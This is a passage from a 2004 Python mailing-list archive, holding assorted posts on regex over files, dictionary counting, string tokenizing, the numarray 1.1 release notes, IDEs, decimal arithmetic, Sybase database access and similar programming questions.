Sep 2004 12:38:10 +1000 Subject: Using regular expressions to extract substrings from files Message-ID: Hi, I am new to Python, and was wondering if it is possible to operate on files using regular expressions. What I mean is this: - It is easy to search for a substring of a string using regular expressions - Can I also search for a substring inside a file using regular expressions? The substring may span several lines (ie there may be embedded new line and carriage return characters). So far, the only way I know how to do this is to read the entire file into a string, and then parse the resulting string with regular expressions. This is OK for small files (in fact it is probably quite efficient, because the disc I/O is done all at once). However, once the files get large, there is the risk I will run out of memory. The closest UNIX tool I can think of to do this sort of job is grep, but that doesn't have the power and flexibility of Python. Any ideas would be appreciated. Tim Hume Bureau of Meteorology Research Centre Melbourne Australia From SPAMhukolauTRAP at SPAMworldnetTRAP.att.net Thu Sep 9 13:21:15 2004 From: SPAMhukolauTRAP at SPAMworldnetTRAP.att.net (Nick Landsberg) Date: Thu, 09 Sep 2004 17:21:15 GMT Subject: Xah Lee's Unixism In-Reply-To: <41406a6d$0$6912$61fed72c@news.rcn.com> References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> <413f049f$0$6914$61fed72c@news.rcn.com> <20040908192913.67c07e7d.steveo@eircom.net> <41406a6d$0$6912$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com wrote: > In article <20040908192913.67c07e7d.steveo at eircom.net>, > Steve O'Hara-Smith wrote: > >>On Wed, 08 Sep 04 11:48:36 GMT >>jmfbahciv at aol.com wrote: >> >> >>>In article , >>> rpw3 at rpw3.org (Rob Warnock) wrote: >> >>>>*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >>>>[an old, slow '486]: >>>> >>>> % uptime >>>> 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, > > 0.00 > >>>> % >>>> >>>>That's over *20* months!! >>> >>>I bet we can measure the youngster's age by the uptimes he boasts. >> >> The Yahoo! server farm ran to very long uptimes last time I had >>any details. The reason being that they commission a machine, add it to >>the farm and leave it running until it is replaced two or three years >>later. > > > Sure. But regular users of such computing services never get an > uptime report. Hell, they have no idea how many systems their > own webbit has used, let alone all the code that was executed > to paint that pretty picture on their TTY screen. > > I bet, if we start asking, we might even get some bizarre > definitions of uptime. Well, there are lies, damn lies and statistics, don't you know? :) I have absolutely no idea of the size of Yahoo's "server farm," but let's assume that it's roughly 100 servers to make the arithmetic easier. Let's further assume that the MTBF (Mean Time Between Failure) is roughly 2000 hours (about 3 months, or about 90 days). Given these numbers (which are not real, I remind you, just made up), it is likely that on any given day one of those servers suffers some kind of failure. However, one can argue, quite legitimately, that the service which Yahoo! provides is still "up and running." 1% of the users may not be able to access their mail for a few hours, for example, but the Yahoo! is still running. > > I do know that the defintion of CPU runtime is disappearing. > Not everywhere, Steve. There are still shops which do measure CPU time for transactions and base their sizing computations on that. The better ones actually start from the requirements and derive the CPU budget, Disk I/O budget, Lan budget, etc. for each transaction based on that! (Examples: "Hmmm... an in-memory dbms access takes about 150 usec, my dbms schema requires 12 reads for this query. That's 1.8 msec. My CPU budget is 750 usec. Maybe I should redesign something here?" ... or ... "Hmm... my CPU budget is 3 ms. for this transaction, and I'm constrained to use a particular XML parser. Time to measure. Whoops, parsing takes around 6 ms for the average message on my box. Maybe we shouldn't be using this particular parser just because it's cheap? Or maybe we throw more hardware at the problem and bid twice the number of servers if we can't find a better XML parser.") -- "It is impossible to make anything foolproof because fools are so ingenious" - A. Bloch From steven.bethard at gmail.com Sat Sep 25 03:09:06 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 25 Sep 2004 07:09:06 +0000 (UTC) Subject: Counter for items in lists in lists? References: Message-ID: Bryan yahoo.com> writes: > or maybe a less general approach might work if the nested list is always one > deep: > > >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] > >>> tmp = [] > >>> d = {} > >>> for item in myList: tmp += item > >>> for key in tmp: d[key] = d.get(key, 0) + 1 > >>> d > {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} Yeah, if that's the case, you don't really even need to construct a temporary list: >>> myList=[['a','b','c','d'],['a','f','g','h'],['a','b','x','y']] >>> counts = {} >>> for lst in myList: ... for item in lst: ... counts[item] = counts.get(item, 0) + 1 ... >>> counts {'a': 3, 'c': 1, 'b': 2, 'd': 1, 'g': 1, 'f': 1, 'h': 1, 'y': 1, 'x': 1} Steve From m.boeren at guidance.nl Thu Sep 9 10:20:40 2004 From: m.boeren at guidance.nl (Marc Boeren) Date: Thu, 9 Sep 2004 16:20:40 +0200 Subject: simple string parsing ? Message-ID: <0C77C7530EA52A4EBD1C47C80D1D291E17DE7B@sbs.GuidanceBV.local> > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > and I want to get : > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')'] > > how can I get this ?????? The quick and dirty way: you have a formula containing a lot of delimiters. Any part of the string that is not a delimiter is grouped into a substring. So: >>> formula = '=+GC142*(GC94+0.5*sum(GC96:GC101))' >>> delimiters = '=+*():' >>> parts = [] >>> appending = False >>> for char in formula: ... if char in delimiters: ... parts+= [char] ... appending = False ... else: ... if appending: ... parts[-1]+= char ... else: ... parts+= [char] ... appending = True ... >>> parts ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', 'GC96', ':', 'GC101', ')', ')'] This is simply to get you what you want, if you wish to use this formula to actually compute something, it may be wise to dive into the various parser packages, I found TPG (Toy Parser Generator) easy to use for simple things... Cheerio, Marc. From luka.milkovic at public.srce.hr Sun Sep 12 11:32:15 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Sun, 12 Sep 2004 17:32:15 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: On Sun, 12 Sep 2004 16:24:31 +0200, Diez B. Roggisch wrote: > The email text. Whatever the reason for the unexpected behaviour is, its in > there. ('+OK 4815 octets', ['Received: from galileo.resean (aelthegrin at cmung149.cmu.carnet.hr [193.198.128.149])', '\tby jagor.srce.hr (8.12.10/8.12.10) with ESMTP id i8BFvSRt009065', '\tfor ; Sat, 11 Sep 2004 17:57:28 +0200 (CEST)', 'Date: Sat, 11 Sep 2004 17:57:28 +0200 (CEST)', 'Message-Id: <200409111557.i8BFvSRt009065 at jagor.srce.hr>', 'From: luka.milkovic at public.srce.hr', 'To: luka.milkovic at public.srce.hr', 'Subject: OTP', 'X-Spam-Score: 5.544 (*****) DATE_MISSING,MSGID_FROM_MTA_SHORT,NO_REAL_NAME', 'X-Scanned-By: MIMEDefang 2.42', 'X-Virus-Scanned: by amavisd-new at jagor.srce.hr', 'Content-Length: 4210', 'Status: ', '', '', '---Code block---', '[6964, 7086, 3211, 7522, 9472, 3265, 3610, 104, 9729, 6706, 8035, 5439, 7142, 360, 677, 1667, 1382, 9417, 4493, 8289, 9613, 3470, 889, 1021, 3381, 3480, 1385, 2027, 956, 9317, 6567, 5552, 1114, 3311, 4437, 631, 5881, 2101, 9948, 4529, 3088, 5548, 3728, 8727, 7787, 5754, 8315, 8250, 8308, 510, 8183, 4052, 9046, 8217, 5107, 8333, 7799, 4589, 209, 7465, 1010, 4459, 5984, 8272, 5311, 4458, 3565, 5747, 8460, 9845, 9305, 1662, 2650, 5290, 9725, 5743, 6679, 9896, 4776, 8586, 3075, 8824, 9369, 6957, 8564, 7165, 112, 9940, 6291, 1489, 3561, 1218, 3890, 9970, 9973, 7624, 7721, 8620, 456, 872, 4546, 926, 2687, 8884, 8598, 7544, 6857, 5363, 6686, 8579, 7937, 8290, 3578, 5411, 6375, 5596, 6860, 8392, 5300, 5927, 8211, 2232, 2194, 1388, 9047, 5384, 876, 4773, 7331, 3238, 5699, 7498, 2789, 8344, 5198, 1732, 3330, 6832, 908, 4210, 8943, 2390, 1655, 5324, 993, 6281, 2909, 2178, 9929, 40, 5060, 964, 4752, 8570, 7714, 607, 6450, 5793, 9292, 6428, 5410, 7567, 6040, 543, 3602, 8022, 4052, 7222, 6324, 6729, 1030, 299, 8641, 4312, 8614, 423, 6730', ', 6793, 3453, 9470, 9382, 2037, 4103, 6427, 5312, 1366, 6287, 2316, 5745, 6916, 1640, 2381, 7510, 1156, 1538, 3015, 1592, 4136, 2170, 6263, 3829, 6869, 8079, 9724, 1830, 3245, 4694, 782, 9703, 3615, 2907, 4435, 7329, 7511, 5418, 2913, 1567, 7865, 3729, 8289, 373, 5635, 8292, 9569, 4370, 8728, 3082, 7829, 4797, 9632, 8283, 2741, 7887, 6366, 9821, 1604, 1099, 3256, 2722, 8474, 6261, 8582, 6431, 1762, 8615, 9745, 599, 4078, 4779, 1469, 90, 5432, 5475, 9098, 5614, 184, 9515, 8909, 3868, 4880, 2408, 9665, 8552, 5444, 9209, 993, 9008, 1495, 1885, 3871, 4774, 8698, 5212, 1303, 6629, 6011, 4490, 9329, 1062, 4558, 4338, 2279, 8502, 473, 9650, 5787, 8329, 6816, 6858, 3868, 1854, 2991, 9958, 8931, 9276, 7837, 9372, 6732, 2402, 5453, 6012, 2958, 2593, 2258, 6599, 2127, 2214, 5839, 3947, 5270, 10093, 8043, 2905, 686, 6451, 312, 1682, 1947, 3447, 4083, 6838, 7896, 3054, 9913, 6716, 3831, 1861, 7286, 6863, 7754, 5534, 8451, 9536, 7945, 9747, 7075, 3808, 6180, 5387, 930, 9663, 7337, 3513, 9535, 4329, 6056, 2114, 8972, 8336, 9743, 5397, 3112, 8023, 3392, 1488, 1707, 8223, 9982, 4498, 1840, 962, 2471, 7919, 2731, 7935, 2826, 6904, 4150, 8780, 9697, 5955, 412, 1816, 7017, 5219, 1290, 7106, 6747, 1180, 1230, 2564, 1568, 373, 9301, 59, 9632, 4667, 7701, 9141, 6240, 3290, 7172, 4006, 8018, 5744, 1125, 4388, 7109, 7357, 5188, 841, 7950, 666, 6754, 4894, 7222, 9275, 7291, 3038, 6510, 8543, 7400, 2218, 2671, 1, 1753, 5620, 4833, 2920, 3754, 9364, 9724, 3445, 6378, 1986, 9350, 4887, 633, 6400, 4586, 1541, 5883, 2696, 306, 5971, 8164, 748, 2464, 550, 9843, 9373, 5004, 4295, 1055, 6916, 6386, 8480, 4480, 8744, 2586, ', '6573, 869, 9277, 6960, 4871, 9340, 6119, 4271, 7572, 1230, 1213, 5534]', '---Code block---'], 4815) This is the original mail, sorry because of the size. As you can see, there are two problematic spots: 6730', ', and ','6573, at the end of the mail. I was wandering is there any way to modify my splitting code I already posted? The thing I want to implement is that the code would parse e-mail as usual and when it comes to these problematic spots, it removes unnecessary quotes and continues parsing... Is there anything that could be done? Thank you once more:) Luka From aleaxit at yahoo.com Thu Sep 9 18:20:25 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 00:20:25 +0200 Subject: my own type in C, sequence protocol References: <4140d133$0$8079$a1866201@newsreader.visi.com> Message-ID: <1gjvfjd.19u8ama1vnp2voN%aleaxit@yahoo.com> Grant Edwards wrote: ... > If you want to iterate over your object, you probably want to > support the sequence protocol. In general, supplying a suitable __iter__ method is simpler and more suitable than implementing the sequence protocol, if your purpose is to allow iteration on an object. Alex From phil at riverbankcomputing.co.uk Fri Sep 10 12:02:04 2004 From: phil at riverbankcomputing.co.uk (Phil Thompson) Date: Fri, 10 Sep 2004 17:02:04 +0100 Subject: WxInter In-Reply-To: References: Message-ID: <200409101702.04626.phil@riverbankcomputing.co.uk> On Friday 10 September 2004 4:57 pm, Eric Brunel wrote: > Michael Sparks wrote: > > On Fri, 10 Sep 2004, Skip Montanaro wrote: > >> Tom> It seems that the thing that people like about Tk is the Canvas > >> Tom> object has anyone tried the wxFloatCanvas as a replacement. > >> > >>Where is it? Google turns up essentially nothing for "wxFloatCanvas" on > >>either groups or web. That makes it a pretty well-hidden object. Google > >>offered "wxPlotCanvas" as an alternative. Are they related? > > > > http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanv > >as-class.html > > Compare this with the tk canvas command manual at > http://www.tcl.tk/man/tcl8.3/TkCmd/canvas.htm and you'll see we're quite > far from it: I didn't see any means to move canvas items individually, or > group them with tags, or knowing which items are at a given position, all > things a tk canvas can do very easily... > > The main difference between the tk canvas and the other toolkits' canvases > is in fact quite simple: in other toolkits, once displayed, a canvas item > is just a bunch of points. In tk, it remains a whole item which can be > manipulated as a whole. Basically, in tk, canvases are for vector drawing; > in other toolkits, they're more for bitmap drawing. And this makes quite a > difference... -- Some other toolkits maybe, but not all... http://doc.trolltech.com/3.3/canvas.html Phil From hercules.rockefeller at springfield.??.us Thu Sep 30 12:55:24 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Thu, 30 Sep 2004 12:55:24 -0400 Subject: thread execution order In-Reply-To: References: Message-ID: <0UW6d.28$Za.18@llslave.llan.ll.mit.edu> Axel Mittendorf wrote: > "Rembrandt Q Einstein" wrote: > >>You don't need a timer. Just every time your program tries to write, it >>first checks the pipe. If it can write, it does. If it can't, it >>buffers until the next time it tries. > > What if there is no "next time". The buffered message might be buffered > until > my not yet planned child can program perl (no way, tv is enough) > or Linux is sold in bottles ;-) > > THX, Axel > > Does the pipe eventually close? Write the rest of the data then. Otherwise, I like the idea of a single thread that reads a common buffer and writes and blocks however much it wants. From hans at zephyrfalcon.org Tue Sep 14 19:28:52 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Tue, 14 Sep 2004 19:28:52 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: Frithiof Andreas Jensen wrote: > I would bite it and Upgrade: > > Windows XP is a decent enough OS, IMO, and a bottom-of-the-range PC - which > is a 1 GHz Athlon with 256 MB RAM, Geforce 2 graphics and 40 GB HDD - can > often be had at less than USD 200. An entirely different stratosfere, from > what you are used to - and I bet some of the stability problems with many of > the IDEs' will disappear too. One needs a high-end PC to edit code now? -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From pascal.parent at free.fr Tue Sep 28 03:18:43 2004 From: pascal.parent at free.fr (Pascal) Date: 28 Sep 2004 00:18:43 -0700 Subject: OWA (Outlook Web Access) with urllib2 References: <878yaya3m1.fsf@pobox.com> <87r7onwft6.fsf@pobox.com> Message-ID: Effectively, if you look at http://python.org/2.4/NEWS.html you can see that urllib2 now recognizes Basic authentication even if other authentication schemes are offered. In LiveHTTPheaders/Firefox debug, there is WWW-Authenticate: Negotiate WWW-Authenticate: NTLM WWW-Authenticate: Basic realm="owa.mydomain" and the basic authentification is the last proposed. So now, how can I force basic authentification with urllib2 (without using Python 2.4a)? From ialbert at mailblocks.com Wed Sep 22 13:27:06 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 22 Sep 2004 13:27:06 -0400 Subject: PyYaml? In-Reply-To: References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol> <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net> Message-ID: Clark C. Evans wrote: > - YAML was created for human reading / authoring. We have spent > an enormous amount of time working with real use cases of data > to find a very clean expression of structured data. If you > like Python's use of whitespace to show structure, you will IMHO you are already too focused on some specific use cases (invoices etc) and you'll do probably better if you'd move your entire effort to that direction. What you are proposing, whitespace as a markup is not nearly as readable as XML when the dependancy tree gets more complicated. Just because whitespace indentation work for programming it does not mean it works for data too. Istvan. From jmiller at stsci.edu Mon Sep 13 10:16:53 2004 From: jmiller at stsci.edu (Todd Miller) Date: 13 Sep 2004 10:16:53 -0400 Subject: ANN: numarray-1.1 Message-ID: <1095085013.4624.34.camel@halloween.stsci.edu> Release Notes for numarray-1.1 Numarray is an array processing package designed to efficiently manipulate large multi-dimensional arrays. Numarray is modelled after Numeric and features c-code generated from python template scripts, the capacity to operate directly on arrays in files, and improved type promotions. Although numarray-1.1 is predominantly a bugfix release, if you use numarray, I strongly recommend upgrading. I. ENHANCEMENTS 986194 Add SMP threading Build/install with --smp to enable ufuncs to release the GIL during their compute loops. You have to supply your own threads and partition your array computations among them to realize any SMP benefit. This adds overhead so don't do it unless you have multiple CPUs and know how to manage multiple compute threads. 1016142 CharArray eval() too slow CharArray.fasteval() was modified to use strtod() rather than Python's eval(). This makes it ~70x faster for converting CharArrays to NumArrays. fasteval() no longer works for complex types. eval() still works for everything. 989618 Document memmap.py (memory mapping) 996177 Unsigned int type support limited 1008968 Add kroenecker product II. BUGS FIXED / CLOSED 984286 max.reduce of byteswapped array Sebastian Haase reported that the reduction of large (>100KB) byteswapped arrays did not work correctly. This bug affected reductions and accumulations of byteswapped and misaligned arrays causing them to produce incorrect answers. Thanks Sebastian! 1011456 numeric compatibility byteoffset numarray's Numeric compatibility C-API didn't correctly account for the byte offsets produced by sub-arrays and array slices. This was fixed by re-defining the meaning of the ->data pointer in the PyArrayObject struct to include byteoffset. NA_OFFSETDATA() was likewise redefined to return ->data rather than ->data + ->byteoffset. Correctly written code is still source compatible. Incorrectly written code will generally be transparently fixed. Code which accounted for byteoffset without using NA_OFFSETDATA() will break. This bug affected functions in numarray.numeric as well as add-on packages like numarray.linear_algebra and numarray.fft. 1009462 matrixmultiply (a,b) leaves b transposed Many people reported this side effect. Thanks to all. 919297 Windows build fails VC++ 7.0 964356 random_array.randint exceeds boundaries 985710 buffer not aligned on 8 byte boundary (Windows-98 broken) 990328 Object Array repr for >1000 elements 997898 Invalid sequences errors 1004600 Segfault in array element deletion 1005537 Incorrect handling of overlapping assignments in Numarray 1008375 Weirdness with 'new' method 1008462 searchsorted bug and fix 1009309 randint bug fix patch 1015896 a.is_c_array() mixed int/bool results 1016140 argsort of string arrays See http://sourceforge.net/tracker/?atid=450446&group_id=1369&func=browse for more details. III. CAUTIONS 1. This release is binary incompatible with numarray-1.0. Writers of C-extensions which directly reference the byteoffset field of the PyArrayObject should be aware that the data pointer is now the sum of byteoffset and the buffer base pointer. All C extensions which use the numarray C-API must be recompiled. This incompatibility was an unfortunate consequence of the fix for "numeric compatibility byteoffset". WHERE ----------- Numarray-1.1 windows executable installers, source code, and manual is here: http://sourceforge.net/project/showfiles.php?group_id=1369 Numarray is hosted by Source Forge in the same project which hosts Numeric: http://sourceforge.net/projects/numpy/ The web page for Numarray information is at: http://stsdas.stsci.edu/numarray/index.html Trackers for Numarray Bugs, Feature Requests, Support, and Patches are at the Source Forge project for NumPy at: http://sourceforge.net/tracker/?group_id=1369 REQUIREMENTS ------------------------------ numarray-1.1 requires Python 2.2.2 or greater. AUTHORS, LICENSE ------------------------------ Numarray was written by Perry Greenfield, Rick White, Todd Miller, JC Hsu, Paul Barrett, Phil Hodge at the Space Telescope Science Institute. We'd like to acknowledge the assitance of Francesc Alted, Paul Dubois, Sebastian Haase, Tim Hochberg, Nadav Horesh, Edward C. Jones, Eric Jones, Jochen Kuepper, Travis Oliphant, Pearu Peterson, Peter Verveer, Colin Williams, and everyone else who has contributed with comments and feedback. Numarray is made available under a BSD-style License. See LICENSE.txt in the source distribution for details. -- Todd Miller jmiller at stsci.edu From mwh at python.net Mon Sep 6 07:14:12 2004 From: mwh at python.net (Michael Hudson) Date: Mon, 6 Sep 2004 11:14:12 GMT Subject: Proto-PEP: Overloadable Boolean Operators References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > greg wrote: > ... > > Python does not currently provide any '__xxx__' special methods > > corresponding to the 'and', 'or' and 'not' boolean operators. In the > ... > > There is no such difficulty in the case of 'not', however, and it > > Indeed, that's what the strangely-named __nonzero__ special method does: > it's invoked upon the 'not' operator and in no other case, Erm. No. >>> class C(object): ... def __nonzero__(self): ... print 'hi!' ... return 1 ... >>> if C(): pass ... hi! Or do I misunderstand what you're saying? Cheers, mwh -- Arrrrgh, the braindamage! It's not unlike the massively non-brilliant decision to use the period in abbreviations as well as a sentence terminator. Had these people no imagination at _all_? -- Erik Naggum, comp.lang.lisp From skip at pobox.com Wed Sep 29 17:46:10 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 29 Sep 2004 16:46:10 -0500 Subject: multiple instance on Unix In-Reply-To: References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> Message-ID: <16731.11554.753938.358095@montanaro.dyndns.org> Nigel> I had a program that was called randomly by specific emails Nigel> arriving which asked for certain information. If two or more Nigel> emails arrived simultaneously then procmail asked two or more Nigel> instances of my program to run. These instances interfered with Nigel> one another, so I needed a process to stop that from Nigel> happening. That process is procmail. Use procmail's lock mechanism and only one instance of your program will run at a time. Skip From carribeiro at gmail.com Mon Sep 27 10:01:52 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 11:01:52 -0300 Subject: Anonymous class members Message-ID: <864d370904092707013e2254a6@mail.gmail.com> I thought about this problem over the weekend, after long hours of hacking some metaclasses to allow me to express some real case data structures as Python classes. I think that this is something with potential to be useful, but I would like to hear more opinions first. If this is deemed to be useful, I *may* try to write a PEP for it. This is not a promise or even a proposal, at this point. Broadly generalizing, classes in Python have named members stored in their pravate __dict__. For normal Python code, this is not an issue. However, some types of data structures do not need named members. For example, this is a declaration of a simple web page template that (ab)uses a Python class declaration: class WebPage: __metaclass__ = WebPageTemplate class MyPage(WebPage): class header(HtmlHeader): title = 'My WebPage' class body(HtmlBody) H1('Anonymous class members' ) P('This is an example of anonymous class members') In the example above, MyPage.body contains two anonymous class members. There are good reasons not to name them. In the case of long templates, names are arbitrary, and most of the time are not ever used. I'm definining anonymous members as anything that is not a def, a nested class, or a value that wasn't assigned or bound to name. Everytime an expression is evaluated in the body of a class, and it's result is *not* bound to a name, then it's value is stored the magic _anon__ tuple. Methods or functions that return no value store None as their return value. Named attributes don't store anything. As a matter of fact, Python already has a related concept in the implicit naming of the __doc__ docstring. It may or not pose a problem for this generalization. That's my basic proposal: class MyClass: """the first anonymous member is the doc string""" """the second anonymous member is __anon__[0]""" 1.5 # __anon__[1] = 1.5 The docstring would be a special case -- if the first anonymous value is a string, and iif it's the first statement, then it's stored as the __doc__ docstring. It could (or not) be copied also at __anon__[0]. I'm not sure about it. Some ideas and alternatives still unexplored are: 1) store the __anon__ members in the reverse order (the last value is always at __anon__0; 2) in the case of loops, then anon members would just be stored as generated. 3) instead of the anonymous members, provide the class with an augmented dict that can store everything that is declared inside the class: multiple definitions of the same name, anonymous members, etc. The mapping interface would retrieve only the named values, but an iterator would be provided to retrieve all members, named and anonymous, in the order they were declared. (** this is a general solution for a wider class of applications **) 4) provide the __anon__ feature only if the metaclass creates it with a __anon__(cls) factory method. By default, *no anonymous members would be stored*, but if the metaclass provides a __anon__ structure, then it's used, and passed to new as an extra keyword argument (metaclass.__new__(cls, name, bases, dct, anon=None)). Another alternative: augmenting the metaclass interface ------------------------------------------------------------------------ Beware: if up to this point I was in true brainstorm mode, now I'm in a brain-hurricane-season-in-Florida mode. Be warned :-) One alternative is to change the metaclass interface, in such a way that it has an opportunity to catch all statements executed in the class declaration *before* __new__ is called. A new metaclass method (lets us call it __store__) and a generator interface to the class definition could be provided. It would work like this: 1) Immediately upon the class declaration, Python knows what metaclass it has to call. Either the class inherited a metaclass from an ancestor, or __metaclass__ member is defined in the first line of the class. 2) Python's internals check the metaclass for the __store__ function. If it exists, it's called with the following parameters: __metaclass__.__store__(cls, name, bases, class_generator) 3) __store__ retrieves definitions from the class_generator as tuples of the form: (name, value) ...where name is None for anonymous class members. At this point, the metaclass can do whatever it pleases. It can change names, discard values, or insert calculated values of its own. 4) __store__ returns the dict that will be passed to __new__. This dict can be an augmented version that stores multiple definitions for the same name, or anonymous values, or whatever is needed for the particular class.. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aaron.smgoh at gmail.com Sun Sep 19 07:58:45 2004 From: aaron.smgoh at gmail.com (Aaron) Date: 19 Sep 2004 04:58:45 -0700 Subject: How to run Excel Solver function from Python References: <9878481a.0409180417.366c3754@posting.google.com> Message-ID: <9878481a.0409190358.2201bea3@posting.google.com> Having widened my search, I found that this problem seems to be related to Excel itself and not many have found a solution. But I found this and it works a treat!! http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=1591401c446ea%248bc56e80%24a401280a%40phx.gbl&rnum=19&prev=/groups%3Fq%3DSolver%2B:%2BAn%2Bunexpected%2Binternal%2Berror%2Bhas%2Boccurred,%2Bor%2Bavailable%26start%3D10%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3D1591401c446ea%25248bc56e80%2524a401280a%2540phx.gbl%26rnum%3D19 Sorry for posting this problem at the wrong place. From __peter__ at web.de Sun Sep 19 08:41:53 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 19 Sep 2004 14:41:53 +0200 Subject: Math errors in python References: <7xwtyqsmvu.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Peter Otten <__peter__ at web.de> writes: >> Starting with Python 2.4 there will be the 'decimal' module supporting >> "arithmetic the way you know it": >> >> >>> from decimal import * >> >>> Decimal("12.10") + Decimal("8.30") > > I haven't tried 2.4 yet. After The auther is currently working on an installer, but just dropping it into 2.3's site-packages should work, too. > a = Decimal("1") / Decimal("3") > b = a * Decimal("3") > print b > > What happens? Is that arithmetic as the way I know it? Decimal as opposed to rational: >>> from decimal import * >>> Decimal(1)/Decimal(3) Decimal("0.3333333333333333333333333333") >>> 3*_ Decimal("0.9999999999999999999999999999") Many people can cope with the inaccuracy induced by base 10 representations and are taken by surprise by base 2 errors. But you are right I left too much room for interpretation. Peter From ksenia at ksenia.nl Thu Sep 23 17:56:07 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Thu, 23 Sep 2004 23:56:07 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: <864d370904092305026f41795@mail.gmail.com> References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <5F3C3182-0DAB-11D9-9C9F-000A957911BC@ksenia.nl> > I heed you to check Microsoft's documents on "how Longhorn will be > great" :-) Seriously, they're working hard to create a new paradigm > for the Windows desktop, and some of the things that you talk about > are discussed there too -- namely, they're hiding folders, drive > names, etc, from the user view, and creating a new and much simplified > user interface. Fortunately, Apple has been working even harder and is already there with Tiger: http://www.apple.com/macosx/tiger/spotlight.html http://www.apple.com/macosx/tiger/search_finder.html > My project, "code-named" Pathfinder Just be aware, there is also a Mac program called Pathfinder, in case you wanted to keep the name... Ksenia. From vincent at visualtrans.de Fri Sep 17 00:23:13 2004 From: vincent at visualtrans.de (vincent wehren) Date: Fri, 17 Sep 2004 06:23:13 +0200 Subject: Running scripts without installing Python? In-Reply-To: References: Message-ID: hepp wrote: ...> > Is it possible to put a global installation on a network drive in > Windows as well? Sure. I tried, but then it complained that it couldn't find > some dll files when I ran the application from another computer. What dll's did give you trouble? -- Vincent Wehren > > I have also tried to compile the application to an executable binary > with py2exe, but it didn't work properly. From amk at amk.ca Mon Sep 13 13:46:58 2004 From: amk at amk.ca (A.M. Kuchling) Date: Mon, 13 Sep 2004 12:46:58 -0500 Subject: Annotatable Python docs -- now a reality !!! References: <4145b657$0$284$4d4ebb8e@news.nl.uu.net> Message-ID: On Mon, 13 Sep 2004 16:30:15 +0200, Guyon Mor?e wrote: > oooow man, i was working on this same thing since I was told: "do it > yourself then!". > but anyway, i had kinda the same idea using javascript to update a frame, > but not in a wiki form... You can still help by offering patches to fix bugs in the JavaScript; various people have pointed out problems in the comments at http://www.airynothing.com/cgi-bin/mt-comments.cgi?entry_id=3336 . --amk From daniel at syrinx.net Thu Sep 16 07:46:29 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Thu, 16 Sep 2004 07:46:29 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> References: <2qo1v3F11r4inU1@uni-berlin.de> <1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com> Message-ID: <2qtcjpF120qvbU1@uni-berlin.de> Alex Martelli wrote: > Daniel Ellison wrote: > > >>It *has* to be mentioned, of course, that Vim (http://www.vim.org) has >>nearly every feature mentioned about EditPlus and all the other IDEs, > > > Except, no tabbed interface when editing multiple files (not even with > GVIM: just ONE window, as seen from the OS/GUI level, even though vim > can partition it). Vim is my favourite editor, but the lack of tabbed > interface _is_ a pity. > > > Alex Ah, but that partitioning, or splitting windows, is a viable alternative to tabs. Once one gets used to it, splitting and moving from window to window is done without thought. No, it's not convenient to have a dozen files visible at the same time (I rarely have five visible concurrently), but every file you've opened and closed in a session is still available without having to retrieve it from the file system again. The only thing Vim doesn't have is project management. But I do believe there are Vim scripts that can handle this function to a certain extent. Anyway, I'm not here to convert anyone. I just know that every time I've tried to move to another editor I always end up back at Vim. Dan From narshe at gmail.com Thu Sep 23 16:46:58 2004 From: narshe at gmail.com (Josh Close) Date: Thu, 23 Sep 2004 15:46:58 -0500 Subject: Python and Sybase In-Reply-To: References: Message-ID: <4a0cafe2040923134662c0dd79@mail.gmail.com> On Thu, 23 Sep 2004 14:50:04 -0400, David Rysdam wrote: > What module is most recommended for accessing Sybase from Python? This > one: http://www.object-craft.com.au/projects/sybase/sybase/ ? Object-Craft's is the best one I've found so far. > > Also, is there any module that provides a generic DB API and can be > hooked to both Sybase and postgresql? This > (http://www.python.org/peps/pep-0249.html) looks pretty old. Why would you need that? Python has a DB API, so all you have to do to change from db to db is the connection string. conn = Sybase.connection(.....) conn = otherModules.connection(....) Everthing else should work the same way. -Josh From gerrit.muller at 